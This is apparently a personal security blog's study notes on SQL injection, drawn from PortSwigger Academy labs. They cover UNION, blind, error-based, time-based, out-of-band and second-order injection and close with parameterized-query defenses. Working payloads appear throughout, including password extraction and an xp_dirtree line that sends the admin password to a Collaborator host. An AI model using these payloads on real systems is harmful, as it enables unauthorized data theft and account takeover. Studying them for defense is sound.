File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All notesExhibit L · Filed 04 Sept 2026 · 9 min read

SQL Injection

Filed

Exhibit L — cover
It's a web security vulnerability that can enable attackers to interfere with the queries that the backend server of an application sends to the database. It would allow them to retrieve data they normally wouldn't be able to access. It can lead to server compromisation, denial of service and credential extraction. To detect this kind of vulnerability, an attacker would submit a single quote ' or a double quote " which would result in the query breaking. That would return an error and that would be an indicator that the web application is vulnerable to this attack. An attacker can also submit some boolean conditions to see how the server reacts to that, something like OR 1=1 and OR 1=2. They can also trigger delays using SLEEP(seconds) and compare response times. Most SQL injections occur within the WHERE clause of a SELECT query. However the injection can be in a lot of different places as well.
  • In UPDATE statements, within the updated values or the WHERE clause.
  • In INSERT statements, within the inserted values.
  • In SELECT statements, within the table or column name.
  • In SELECT statements, within the ORDER BY clause.
When an application is vulnerable to SQL injections, we can use UNION statements to retrieve data from other tables in the database. This would have to match the number of columns the initial query returns, and the data types must match also, so the final injected query would look something like the following: SELECT a, b FROM table1 UNION SELECT c, d FROM table2 To carry out a SQL injection UNION attack, make sure that your attack meets these two requirements. This normally involves finding out:
  • How many columns are being returned from the original query.
  • Which columns returned from the original query are of a suitable data type to hold the results from the injected query.
  • ORDER BY method A method involves injecting a series of ORDER BY clauses, and incrementing the number until an error occurs, that way we can know the number of columns returned by the original query.
Sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...

ORDER BY (number) orders the returned table, by the number'th column that's why this works. The error spotting is very important, because the database doesn't always provide the SQL error in the HTTP request.
  • UNION SELECT method Following the same principle, we can inject UNION SELECT 1,2,3,4,5... as long as the page doesn't error. That would also give an idea on where the injection is reflected in the database. A better way to inject is to use UNION SELECT NULL,NULL,NULL... to make sure that the value types are compatible and the injection is working as it should.
Use this cheatsheet https://portswigger.net/web-security/sql-injection/cheat-sheet for syntax specific injections and DBMS fingerprinting. After we determine the number of columns returned by the original SQL query that we're trying to inject into, we need to find what datatypes are returned by the original query, a valuable data type that we need to look for, is string. We can use this exact syntax and change the 'a' until we get some result from the server. ' UNION SELECT 'a',NULL,NULL,NULL-- In this case we can use string concatenation which would format our output in a way that's readable and most importantly, in one single column. The injection would look something like this: ' UNION SELECT username || '~' || password FROM users-- and the formatted output would look something like this: administrator~s3cure.
Common DBMS overview
These are the most commonly used DBMS's in the world. This is feasible in all databases but Oracle ones. There is a separated database in every other system that holds relevant data about what the database actually contains, roles, table names, database names and much more. A good example of this is information_schema in MySQL. information_schema is queriable via this syntax and this structure: SELECT * FROM information_schema.tables This returns output like the following:
information_schema.tables output
SELECT * FROM information_schema.columns WHERE table_name = 'Users' This returns output like the following:
information_schema.columns output
Blind SQL injections take place when we have SQL injection in a parameter, but the HTTP response from the server doesn't contain the result of the injection. Many techniques like the UNION attacks aren't applicable in this case and exploitation generally takes a lot of time. The example given in the Burp Suite Academy is very cool. Here it is, maybe we'll need it later.
Blind SQLi conditional response example
By playing around with the cookie header we can confirm that we have blind SQL injection in the TrackingId cookie, by injecting something like this and looking at the behaviour of the application.
Sql
...xyz' AND '1'='1
...xyz' AND '1'='2

The first injection would result in a Welcome back message, since it's evaluated to true, and the second one wouldn't. We can leverage the evaluation of the server to brute force whatever column or table name we know exists. For example we can use the following query to see if the first letter of the admin password is bigger or lower than the letter 'm' on the ASCII table. xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm We can script this to brute force all of the admin's password. Error based SQL injection takes place when an attacker can extract data from the database, even in blind contexts. We may be able to extract data even from SQL errors if they are being displayed back to us. Some applications carry out SQL queries but their behaviour doesn't change based on SQL errors. The technique specified in the previous blind SQL injection section won't work because the behaviour of the application won't change. In case we are dealing with error based blind SQL injection we can leverage other conditional errors to extract data from the database.
Sql
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
The error has to be something that's syntactically incorrect for it to return some data. This kind of injection takes place when we can get verbose SQL errors back to us, after injecting or corrupting the SQL query. That would mean that the parameter is injectable, and user input is parsed directly inside the query. Here is an example: Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char We can occasionally induce the application to generate an error message that would contain some of the data returned by the query, this would turn a blind SQL injection into a visible one. We can achieve that by using the CAST() function in SQL: CAST((SELECT examplenull_column FROM example_table) AS int) This is the most extreme type of SQLi, it's used when we have an injectable parameter, but upon injection the server doesn't rely on verbose errors, nor does the response change. This type of injection is so counter-intuitive that it's almost impossible to point out manually. The exploitation of this kind of SQLi relies on evaluating something (boolean) and chaining it with a sleep function (depending on the DBMS type). So basically whenever the comparison is true, the server takes a little more time to respond, that way we can extract data from the database. This is the syntax the Microsoft SQL Server uses:
Sql
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
This is an example injection that can be used in this case: '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- This kind of injection is used if the injected query runs in a separate background thread. This thread's output isn't visible to us, so none of the blind injection techniques would work, because they all rely on some kind of data returned from the server. Injection in this case requires network interaction with the database, using a compromised/controlled system. DNS is heavily used in this type of SQLi. We can confirm that the server reaches back using xp_cmdshell in Microsoft SQL Server. After that, exfiltration is possible this way: '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')-- This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This lookup allows you to view the captured password: S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net First order SQLi occurs when the application processes user input and sends the injection result in an unsafe way, right in the same request/response cycle. Second order SQLi occurs when the application takes user input from an HTTP request and stores it for future use. This is done by placing input in the database. The injection doesn't happen right away, instead, when handling a different HTTP request the server parses the injected data directly in the query, which results in SQLi. A classic example is the registration/change-password flow. Say a web app lets us pick a username, and it only sanitizes that username when it's first stored (or doesn't sanitize it at all, just doesn't use it in a query yet). If we register as: admin'-- that alone doesn't do anything malicious on registration. But if there's a "change password" feature that runs a query like UPDATE users SET password = 'newpass' WHERE username = 'admin'--', our stored username now closes off the WHERE clause early and the password of the real admin account gets overwritten, using our arbitrary input. That's what makes second order SQLi sneaky, the injection point (registration) and the exploitation point (password change) are two completely different features, so it's very easy for devs to sanitize one and forget the other trusts stored data blindly. We can prevent most instances of SQL injection using parameterized queries instead of string concatenation within the query. This is a secure implementation of SQL query execution.
Java
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant. It must never contain any variable data from any origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the query for cases that are considered safe. It's easy to make mistakes about the possible origin of data, or for changes in other code to taint trusted data. Beyond parameterized queries, it's also worth running the database account used by the application with the least privilege it needs, so even if an injection slips through it can't just drop tables or read every schema in sight. A WAF can catch some of the noisier payloads too, but it shouldn't be relied on as the actual fix, it's a mitigation, not a patch.
§ — Also in evidenceView all →

Other exhibits


Exhibit K · 18 Aug 2026 · Azure Security

Modeling Managed-Identity Privilege Escalation as an Attack Graph

A framework for treating Azure managed-identity abuse in hybrid Entra ID environments as a graph-reachability problem. I define the node and edge types, ground each edge in Azure RBAC semantics, show how my tool Fenrir uses the model to answer one question conservatively, and work through a case study in my own lab. Framework and systematization, not an empirical study.

Filed
§ Contents